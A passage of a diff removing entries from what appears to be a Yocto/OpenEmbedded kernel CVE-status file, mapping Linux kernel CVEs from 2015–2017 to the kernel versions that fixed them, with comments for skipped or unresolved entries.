-CVE_STATUS[CVE-2015-8709] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2015-8746] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2015-8767] = "fixed-version: Fixed from version 4.3rc4"
-
-CVE_STATUS[CVE-2015-8785] = "fixed-version: Fixed from version 4.4rc5"
-
-CVE_STATUS[CVE-2015-8787] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-8812] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2015-8816] = "fixed-version: Fixed from version 4.4rc6"
-
-CVE_STATUS[CVE-2015-8830] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-8839] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2015-8844] = "fixed-version: Fixed from version 4.4rc3"
-
-CVE_STATUS[CVE-2015-8845] = "fixed-version: Fixed from version 4.4rc3"
-
-# Skipping CVE-2015-8937, no affected_versions
-
-# Skipping CVE-2015-8938, no affected_versions
-
-# Skipping CVE-2015-8939, no affected_versions
-
-# Skipping CVE-2015-8940, no affected_versions
-
-# Skipping CVE-2015-8941, no affected_versions
-
-# Skipping CVE-2015-8942, no affected_versions
-
-# Skipping CVE-2015-8943, no affected_versions
-
-# Skipping CVE-2015-8944, no affected_versions
-
-CVE_STATUS[CVE-2015-8950] = "fixed-version: Fixed from version 4.1rc2"
-
-CVE_STATUS[CVE-2015-8952] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2015-8953] = "fixed-version: Fixed from version 4.3"
-
-CVE_STATUS[CVE-2015-8955] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2015-8956] = "fixed-version: Fixed from version 4.2rc1"
-
-CVE_STATUS[CVE-2015-8961] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-8962] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2015-8963] = "fixed-version: Fixed from version 4.4"
-
-CVE_STATUS[CVE-2015-8964] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2015-8966] = "fixed-version: Fixed from version 4.4rc8"
-
-CVE_STATUS[CVE-2015-8967] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2015-8970] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2015-9004] = "fixed-version: Fixed from version 3.19rc7"
-
-CVE_STATUS[CVE-2015-9016] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2015-9289] = "fixed-version: Fixed from version 4.2rc1"
-
-CVE_STATUS[CVE-2016-0617] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-0723] = "fixed-version: Fixed from version 4.5rc2"
-
-CVE_STATUS[CVE-2016-0728] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-0758] = "fixed-version: Fixed from version 4.6"
-
-# Skipping CVE-2016-0774, no affected_versions
-
-CVE_STATUS[CVE-2016-0821] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2016-0823] = "fixed-version: Fixed from version 4.0rc5"
-
-CVE_STATUS[CVE-2016-10044] = "fixed-version: Fixed from version 4.8rc7"
-
-CVE_STATUS[CVE-2016-10088] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10147] = "fixed-version: Fixed from version 4.9"
-
-CVE_STATUS[CVE-2016-10150] = "fixed-version: Fixed from version 4.9rc8"
-
-CVE_STATUS[CVE-2016-10153] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10154] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10200] = "fixed-version: Fixed from version 4.9rc7"
-
-CVE_STATUS[CVE-2016-10208] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10229] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-10318] = "fixed-version: Fixed from version 4.8rc6"
-
-CVE_STATUS[CVE-2016-10723] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2016-10741] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10764] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-10905] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2016-10906] = "fixed-version: Fixed from version 4.5rc6"
-
-CVE_STATUS[CVE-2016-10907] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2016-1237] = "fixed-version: Fixed from version 4.7rc5"
-
-CVE_STATUS[CVE-2016-1575] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-1576] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-1583] = "fixed-version: Fixed from version 4.7rc3"
-
-CVE_STATUS[CVE-2016-2053] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2016-2069] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2070] = "fixed-version: Fixed from version 4.4"
-
-CVE_STATUS[CVE-2016-2085] = "fixed-version: Fixed from version 4.5rc4"
-
-CVE_STATUS[CVE-2016-2117] = "fixed-version: Fixed from version 4.6rc5"
-
-CVE_STATUS[CVE-2016-2143] = "fixed-version: Fixed from version 4.5"
-
-CVE_STATUS[CVE-2016-2184] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-2185] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-2186] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-2187] = "fixed-version: Fixed from version 4.6rc5"
-
-CVE_STATUS[CVE-2016-2188] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2016-2383] = "fixed-version: Fixed from version 4.5rc4"
-
-CVE_STATUS[CVE-2016-2384] = "fixed-version: Fixed from version 4.5rc4"
-
-CVE_STATUS[CVE-2016-2543] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2544] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2545] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2546] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2547] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2548] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2549] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2016-2550] = "fixed-version: Fixed from version 4.5rc4"
-
-CVE_STATUS[CVE-2016-2782] = "fixed-version: Fixed from version 4.5rc2"
-
-CVE_STATUS[CVE-2016-2847] = "fixed-version: Fixed from version 4.5rc1"
-
-# Skipping CVE-2016-2853, no affected_versions
-
-# Skipping CVE-2016-2854, no affected_versions
-
-CVE_STATUS[CVE-2016-3044] = "fixed-version: Fixed from version 4.5"
-
-CVE_STATUS[CVE-2016-3070] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2016-3134] = "fixed-version: Fixed from version 4.6rc2"
-
-CVE_STATUS[CVE-2016-3135] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-3136] = "fixed-version: Fixed from version 4.6rc3"
-
-CVE_STATUS[CVE-2016-3137] = "fixed-version: Fixed from version 4.6rc3"
-
-CVE_STATUS[CVE-2016-3138] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-3139] = "fixed-version: Fixed from version 3.17rc1"
-
-CVE_STATUS[CVE-2016-3140] = "fixed-version: Fixed from version 4.6rc3"
-
-CVE_STATUS[CVE-2016-3156] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-3157] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-3672] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-3689] = "fixed-version: Fixed from version 4.6rc1"
-
-# Skipping CVE-2016-3695, no affected_versions
-
-# Skipping CVE-2016-3699, no affected_versions
-
-# Skipping CVE-2016-3707, no affected_versions
-
-CVE_STATUS[CVE-2016-3713] = "fixed-version: Fixed from version 4.7rc1"
-
-# CVE-2016-3775 has no known resolution
-
-# CVE-2016-3802 has no known resolution
-
-# CVE-2016-3803 has no known resolution
-
-CVE_STATUS[CVE-2016-3841] = "fixed-version: Fixed from version 4.4rc4"
-
-CVE_STATUS[CVE-2016-3857] = "fixed-version: Fixed from version 4.8rc2"
-
-CVE_STATUS[CVE-2016-3951] = "fixed-version: Fixed from version 4.5"
-
-CVE_STATUS[CVE-2016-3955] = "fixed-version: Fixed from version 4.6rc3"
-
-CVE_STATUS[CVE-2016-3961] = "fixed-version: Fixed from version 4.6rc5"
-
-CVE_STATUS[CVE-2016-4440] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4470] = "fixed-version: Fixed from version 4.7rc4"
-
-CVE_STATUS[CVE-2016-4482] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4485] = "fixed-version: Fixed from version 4.6"
-
-CVE_STATUS[CVE-2016-4486] = "fixed-version: Fixed from version 4.6"
-
-CVE_STATUS[CVE-2016-4557] = "fixed-version: Fixed from version 4.6rc6"
-
-CVE_STATUS[CVE-2016-4558] = "fixed-version: Fixed from version 4.6rc7"
-
-CVE_STATUS[CVE-2016-4565] = "fixed-version: Fixed from version 4.6rc6"
-
-CVE_STATUS[CVE-2016-4568] = "fixed-version: Fixed from version 4.6rc6"
-
-CVE_STATUS[CVE-2016-4569] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4578] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4580] = "fixed-version: Fixed from version 4.6"
-
-CVE_STATUS[CVE-2016-4581] = "fixed-version: Fixed from version 4.6rc7"
-
-CVE_STATUS[CVE-2016-4794] = "fixed-version: Fixed from version 4.7rc4"
-
-CVE_STATUS[CVE-2016-4805] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-4913] = "fixed-version: Fixed from version 4.6"
-
-CVE_STATUS[CVE-2016-4951] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4997] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-4998] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-5195] = "fixed-version: Fixed from version 4.9rc2"
-
-CVE_STATUS[CVE-2016-5243] = "fixed-version: Fixed from version 4.7rc3"
-
-CVE_STATUS[CVE-2016-5244] = "fixed-version: Fixed from version 4.7rc3"
-
-# Skipping CVE-2016-5340, no affected_versions
-
-# Skipping CVE-2016-5342, no affected_versions
-
-# Skipping CVE-2016-5343, no affected_versions
-
-# Skipping CVE-2016-5344, no affected_versions
-
-CVE_STATUS[CVE-2016-5400] = "fixed-version: Fixed from version 4.7"
-
-CVE_STATUS[CVE-2016-5412] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2016-5696] = "fixed-version: Fixed from version 4.7"
-
-CVE_STATUS[CVE-2016-5728] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-5828] = "fixed-version: Fixed from version 4.7rc6"
-
-CVE_STATUS[CVE-2016-5829] = "fixed-version: Fixed from version 4.7rc5"
-
-# CVE-2016-5870 has no known resolution
-
-CVE_STATUS[CVE-2016-6130] = "fixed-version: Fixed from version 4.6rc6"
-
-CVE_STATUS[CVE-2016-6136] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2016-6156] = "fixed-version: Fixed from version 4.7rc7"
-
-CVE_STATUS[CVE-2016-6162] = "fixed-version: Fixed from version 4.7"
-
-CVE_STATUS[CVE-2016-6187] = "fixed-version: Fixed from version 4.7rc7"
-
-CVE_STATUS[CVE-2016-6197] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-6198] = "fixed-version: Fixed from version 4.6"
-
-CVE_STATUS[CVE-2016-6213] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2016-6327] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-6480] = "fixed-version: Fixed from version 4.8rc3"
-
-CVE_STATUS[CVE-2016-6516] = "fixed-version: Fixed from version 4.8rc1"
-
-# Skipping CVE-2016-6753, no affected_versions
-
-CVE_STATUS[CVE-2016-6786] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2016-6787] = "fixed-version: Fixed from version 4.0rc1"
-
-CVE_STATUS[CVE-2016-6828] = "fixed-version: Fixed from version 4.8rc5"
-
-CVE_STATUS[CVE-2016-7039] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-7042] = "fixed-version: Fixed from version 4.9rc3"
-
-CVE_STATUS[CVE-2016-7097] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2016-7117] = "fixed-version: Fixed from version 4.6rc1"
-
-# Skipping CVE-2016-7118, no affected_versions
-
-CVE_STATUS[CVE-2016-7425] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2016-7910] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2016-7911] = "fixed-version: Fixed from version 4.7rc7"
-
-CVE_STATUS[CVE-2016-7912] = "fixed-version: Fixed from version 4.6rc5"
-
-CVE_STATUS[CVE-2016-7913] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-7914] = "fixed-version: Fixed from version 4.6rc4"
-
-CVE_STATUS[CVE-2016-7915] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-7916] = "fixed-version: Fixed from version 4.6rc7"
-
-CVE_STATUS[CVE-2016-7917] = "fixed-version: Fixed from version 4.5rc6"
-
-CVE_STATUS[CVE-2016-8399] = "fixed-version: Fixed from version 4.9"
-
-# Skipping CVE-2016-8401, no affected_versions
-
-# Skipping CVE-2016-8402, no affected_versions
-
-# Skipping CVE-2016-8403, no affected_versions
-
-# Skipping CVE-2016-8404, no affected_versions
-
-CVE_STATUS[CVE-2016-8405] = "fixed-version: Fixed from version 4.10rc6"
-
-# Skipping CVE-2016-8406, no affected_versions
-
-# Skipping CVE-2016-8407, no affected_versions
-
-CVE_STATUS[CVE-2016-8630] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-8632] = "fixed-version: Fixed from version 4.9rc8"
-
-CVE_STATUS[CVE-2016-8633] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-8636] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2016-8645] = "fixed-version: Fixed from version 4.9rc6"
-
-CVE_STATUS[CVE-2016-8646] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2016-8650] = "fixed-version: Fixed from version 4.9rc7"
-
-CVE_STATUS[CVE-2016-8655] = "fixed-version: Fixed from version 4.9rc8"
-
-CVE_STATUS[CVE-2016-8658] = "fixed-version: Fixed from version 4.8rc7"
-
-# CVE-2016-8660 has no known resolution
-
-CVE_STATUS[CVE-2016-8666] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-9083] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-9084] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-9120] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-9178] = "fixed-version: Fixed from version 4.8rc7"
-
-CVE_STATUS[CVE-2016-9191] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2016-9313] = "fixed-version: Fixed from version 4.9rc3"
-
-CVE_STATUS[CVE-2016-9555] = "fixed-version: Fixed from version 4.9rc4"
-
-CVE_STATUS[CVE-2016-9576] = "fixed-version: Fixed from version 4.9"
-
-CVE_STATUS[CVE-2016-9588] = "fixed-version: Fixed from version 4.10rc1"
-
-CVE_STATUS[CVE-2016-9604] = "fixed-version: Fixed from version 4.11rc8"
-
-# Skipping CVE-2016-9644, no affected_versions
-
-CVE_STATUS[CVE-2016-9685] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2016-9754] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-9755] = "fixed-version: Fixed from version 4.9rc8"
-
-CVE_STATUS[CVE-2016-9756] = "fixed-version: Fixed from version 4.9rc7"
-
-CVE_STATUS[CVE-2016-9777] = "fixed-version: Fixed from version 4.9rc7"
-
-CVE_STATUS[CVE-2016-9793] = "fixed-version: Fixed from version 4.9rc8"
-
-CVE_STATUS[CVE-2016-9794] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-9806] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2016-9919] = "fixed-version: Fixed from version 4.9rc8"
-
-# Skipping CVE-2017-0403, no affected_versions
-
-# Skipping CVE-2017-0404, no affected_versions
-
-# Skipping CVE-2017-0426, no affected_versions
-
-# Skipping CVE-2017-0427, no affected_versions
-
-# CVE-2017-0507 has no known resolution
-
-# CVE-2017-0508 has no known resolution
-
-# Skipping CVE-2017-0510, no affected_versions
-
-# Skipping CVE-2017-0528, no affected_versions
-
-# Skipping CVE-2017-0537, no affected_versions
-
-# CVE-2017-0564 has no known resolution
-
-CVE_STATUS[CVE-2017-0605] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-0627] = "fixed-version: Fixed from version 4.14rc1"
-
-# CVE-2017-0630 has no known resolution
-
-# CVE-2017-0749 has no known resolution
-
-CVE_STATUS[CVE-2017-0750] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2017-0786] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-0861] = "fixed-version: Fixed from version 4.15rc3"
-
-CVE_STATUS[CVE-2017-1000] = "fixed-version: Fixed from version 4.13rc5"
-
-CVE_STATUS[CVE-2017-1000111] = "fixed-version: Fixed from version 4.13rc5"
-
-CVE_STATUS[CVE-2017-1000112] = "fixed-version: Fixed from version 4.13rc5"
-
-CVE_STATUS[CVE-2017-1000251] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-1000252] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-1000253] = "fixed-version: Fixed from version 4.1rc1"
-
-CVE_STATUS[CVE-2017-1000255] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-1000363] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-1000364] = "fixed-version: Fixed from version 4.12rc6"
-
-CVE_STATUS[CVE-2017-1000365] = "fixed-version: Fixed from version 4.12rc7"
-
-CVE_STATUS[CVE-2017-1000370] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-1000371] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-1000379] = "fixed-version: Fixed from version 4.12rc6"
-
-CVE_STATUS[CVE-2017-1000380] = "fixed-version: Fixed from version 4.12rc5"
-
-CVE_STATUS[CVE-2017-1000405] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2017-1000407] = "fixed-version: Fixed from version 4.15rc3"
-
-CVE_STATUS[CVE-2017-1000410] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2017-10661] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-10662] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-10663] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-10810] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-10911] = "fixed-version: Fixed from version 4.12rc7"
-
-CVE_STATUS[CVE-2017-11089] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-11176] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-11472] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-11473] = "fixed-version: Fixed from version 4.13rc2"
-
-CVE_STATUS[CVE-2017-11600] = "fixed-version: Fixed from version 4.13"
-
-CVE_STATUS[CVE-2017-12134] = "fixed-version: Fixed from version 4.13rc6"
-
-CVE_STATUS[CVE-2017-12146] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-12153] = "fixed-version: Fixed from version 4.14rc2"
-
-CVE_STATUS[CVE-2017-12154] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-12168] = "fixed-version: Fixed from version 4.9rc6"
-
-CVE_STATUS[CVE-2017-12188] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-12190] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-12192] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-12193] = "fixed-version: Fixed from version 4.14rc7"
-
-CVE_STATUS[CVE-2017-12762] = "fixed-version: Fixed from version 4.13rc4"
-
-CVE_STATUS[CVE-2017-13080] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-13166] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2017-13167] = "fixed-version: Fixed from version 4.5rc4"
-
-CVE_STATUS[CVE-2017-13168] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2017-13215] = "fixed-version: Fixed from version 4.5rc1"
-
-CVE_STATUS[CVE-2017-13216] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2017-13220] = "fixed-version: Fixed from version 3.19rc3"
-
-# CVE-2017-13221 has no known resolution
-
-# CVE-2017-13222 has no known resolution
-
-CVE_STATUS[CVE-2017-13305] = "fixed-version: Fixed from version 4.12rc5"
-
-CVE_STATUS[CVE-2017-13686] = "fixed-version: Fixed from version 4.13rc7"
-
-# CVE-2017-13693 has no known resolution
-
-# CVE-2017-13694 has no known resolution
-
-CVE_STATUS[CVE-2017-13695] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2017-13715] = "fixed-version: Fixed from version 4.3rc1"
-
-CVE_STATUS[CVE-2017-14051] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-14106] = "fixed-version: Fixed from version 4.12rc3"
-
-CVE_STATUS[CVE-2017-14140] = "fixed-version: Fixed from version 4.13rc6"
-
-CVE_STATUS[CVE-2017-14156] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-14340] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-14489] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-14497] = "fixed-version: Fixed from version 4.13"
-
-CVE_STATUS[CVE-2017-14954] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-14991] = "fixed-version: Fixed from version 4.14rc2"
-
-CVE_STATUS[CVE-2017-15102] = "fixed-version: Fixed from version 4.9rc1"
-
-CVE_STATUS[CVE-2017-15115] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-15116] = "fixed-version: Fixed from version 4.2rc1"
-
-CVE_STATUS[CVE-2017-15121] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2017-15126] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-15127] = "fixed-version: Fixed from version 4.13rc5"
-
-CVE_STATUS[CVE-2017-15128] = "fixed-version: Fixed from version 4.14rc8"
-
-CVE_STATUS[CVE-2017-15129] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-15265] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-15274] = "fixed-version: Fixed from version 4.12rc5"
-
-CVE_STATUS[CVE-2017-15299] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-15306] = "fixed-version: Fixed from version 4.14rc7"
-
-CVE_STATUS[CVE-2017-15537] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-15649] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-15868] = "fixed-version: Fixed from version 3.19rc3"
-
-CVE_STATUS[CVE-2017-15951] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-16525] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-16526] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-16527] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-16528] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2017-16529] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-16530] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-16531] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-16532] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-16533] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-16534] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2017-16535] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-16536] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-16537] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-16538] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2017-16643] = "fixed-version: Fixed from version 4.14rc7"
-
-CVE_STATUS[CVE-2017-16644] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2017-16645] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2017-16646] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-16647] = "fixed-version: Fixed from version 4.14"
-
-CVE_STATUS[CVE-2017-16648] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-16649] = "fixed-version: Fixed from version 4.14"
-
-CVE_STATUS[CVE-2017-16650] = "fixed-version: Fixed from version 4.14"
-
-CVE_STATUS[CVE-2017-16911] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-16912] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-16913] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-16914] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-16939] = "fixed-version: Fixed from version 4.14rc7"
-
-CVE_STATUS[CVE-2017-16994] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-16995] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-16996] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17052] = "fixed-version: Fixed from version 4.13rc7"
-
-CVE_STATUS[CVE-2017-17053] = "fixed-version: Fixed from version 4.13rc7"
-
-CVE_STATUS[CVE-2017-17448] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17449] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17450] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17558] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17712] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17741] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17805] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17806] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-17807] = "fixed-version: Fixed from version 4.15rc3"
-
-CVE_STATUS[CVE-2017-17852] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17853] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17854] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17855] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17856] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17857] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17862] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-17863] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17864] = "fixed-version: Fixed from version 4.15rc5"
-
-CVE_STATUS[CVE-2017-17975] = "fixed-version: Fixed from version 4.17rc1"
-
